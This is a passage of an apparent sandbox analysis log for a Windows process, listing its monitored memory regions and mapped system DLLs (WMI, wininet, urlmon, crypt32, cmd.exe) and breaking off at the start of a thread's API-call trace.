0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 938 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 939 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 940 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 941 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 942 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 943 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 944 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 945 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 946 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 947 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 948 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 949 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 950 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 951 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 952 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 953 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 954 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 955 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 956 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 957 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 958 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 959 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 960 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 961 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 962 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 963 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 964 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 965 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 966 start_va = 0x7fe914e0000 end_va = 0x7fe914effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe914e0000" filename = "" Region: id = 967 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 968 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 969 start_va = 0x670000 end_va = 0x670fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 970 start_va = 0x7fef8ee0000 end_va = 0x7fef8f00fff monitored = 0 entry_point = 0x7fef8ef03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 971 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 0 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 972 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 973 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 974 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1343 start_va = 0x680000 end_va = 0x681fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 1344 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1345 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1346 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1495 start_va = 0x980000 end_va = 0x981fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 1496 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1559 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1561 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1612 start_va = 0x1bb80000 end_va = 0x1bd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb80000" filename = "" Region: id = 2603 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 2995 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3135 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3208 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3458 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3602 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3792 start_va = 0x1ad00000 end_va = 0x1adbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3865 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4257 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4405 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4525 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4740 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4795 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4870 start_va = 0xa80000 end_va = 0xa85fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4922 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 4923 start_va = 0x1ae20000 end_va = 0x1ae5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae20000" filename = "" Region: id = 4924 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4925 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 4926 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 4927 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 4983 start_va = 0x7fef1560000 end_va = 0x7fef18a3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\59a4984a6afe6b209eaaa379927ab81d\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\59a4984a6afe6b209eaaa379927ab81d\\system.runtime.serialization.ni.dll") Region: id = 4984 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 4985 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 4986 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 4987 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 4988 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 4989 start_va = 0x1110000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 4990 start_va = 0x1120000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 4991 start_va = 0x1130000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 4992 start_va = 0x1140000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 4993 start_va = 0x1150000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 4994 start_va = 0x1160000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 4995 start_va = 0x1170000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 4996 start_va = 0x1180000 end_va = 0x118ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 4997 start_va = 0x1190000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001190000" filename = "" Region: id = 4998 start_va = 0x11a0000 end_va = 0x11affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 4999 start_va = 0x11b0000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 5000 start_va = 0x1a6a0000 end_va = 0x1a6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6a0000" filename = "" Region: id = 5001 start_va = 0x1a7b0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 5002 start_va = 0x1a7c0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 5003 start_va = 0x1a7d0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 5004 start_va = 0x7fe914f0000 end_va = 0x7fe914fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe914f0000" filename = "" Region: id = 5005 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5006 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 5007 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 5008 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 5009 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5056 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5057 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5058 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5059 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 5060 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 5061 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5062 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 5063 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 5064 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 5065 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 5066 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5067 start_va = 0x1be90000 end_va = 0x1bf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001be90000" filename = "" Region: id = 5068 start_va = 0x7ffffef4000 end_va = 0x7ffffef5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef4000" filename = "" Region: id = 5069 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5070 start_va = 0xa80000 end_va = 0xa81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 5071 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 5072 start_va = 0xb10000 end_va = 0xb10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 5073 start_va = 0xb20000 end_va = 0xb21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 5074 start_va = 0x7fef9850000 end_va = 0x7fef98a6fff monitored = 0 entry_point = 0x7fef9851118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 5075 start_va = 0x7feec070000 end_va = 0x7feec2e0fff monitored = 0 entry_point = 0x7feec071028 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 5076 start_va = 0xb10000 end_va = 0xb11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b10000" filename = "" Region: id = 5077 start_va = 0x7fef8c60000 end_va = 0x7fef8c9afff monitored = 0 entry_point = 0x7fef8c622f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 5078 start_va = 0x7fefb3a0000 end_va = 0x7fefb5b4fff monitored = 0 entry_point = 0x7fefb5764b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 5079 start_va = 0x7fef67f0000 end_va = 0x7fef6823fff monitored = 0 entry_point = 0x7fef67f1890 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 5080 start_va = 0x7fef52a0000 end_va = 0x7fef5e56fff monitored = 0 entry_point = 0x7fef52a1bd8 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 5081 start_va = 0x7fefaf10000 end_va = 0x7fefaf63fff monitored = 0 entry_point = 0x7fefaf1104c region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 5082 start_va = 0x7fefd1c0000 end_va = 0x7fefd418fff monitored = 0 entry_point = 0x7fefd1c1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 5083 start_va = 0xb30000 end_va = 0xb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 5084 start_va = 0xb40000 end_va = 0xb41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 5085 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 5086 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 5087 start_va = 0xb50000 end_va = 0xb53fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5088 start_va = 0x1110000 end_va = 0x1135fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 5089 start_va = 0xb60000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 5090 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5091 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5092 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5093 start_va = 0xb70000 end_va = 0xb7cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5094 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5095 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5096 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5097 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5098 start_va = 0x1bd90000 end_va = 0x1be8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bd90000" filename = "" Region: id = 5099 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 5100 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5101 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5102 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5103 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5104 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5105 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5106 start_va = 0x1b330000 end_va = 0x1b430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5107 start_va = 0xb50000 end_va = 0xb53fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5108 start_va = 0x1140000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 5109 start_va = 0x1170000 end_va = 0x1173fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5110 start_va = 0x1a7b0000 end_va = 0x1a815fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 5111 start_va = 0x1180000 end_va = 0x118dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 5112 start_va = 0x7fefd040000 end_va = 0x7fefd1b7fff monitored = 0 entry_point = 0x7fefd0410e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 5113 start_va = 0x7fefee20000 end_va = 0x7fefef49fff monitored = 0 entry_point = 0x7fefee210d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 5114 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5115 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5116 start_va = 0x1190000 end_va = 0x1190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001190000" filename = "" Region: id = 5117 start_va = 0x49d40000 end_va = 0x49d4ffff monitored = 1 entry_point = 0x49d490b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Thread: id = 15 os_tid = 0xe64 [0102.920] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0105.237] EtwEventRegister (in: 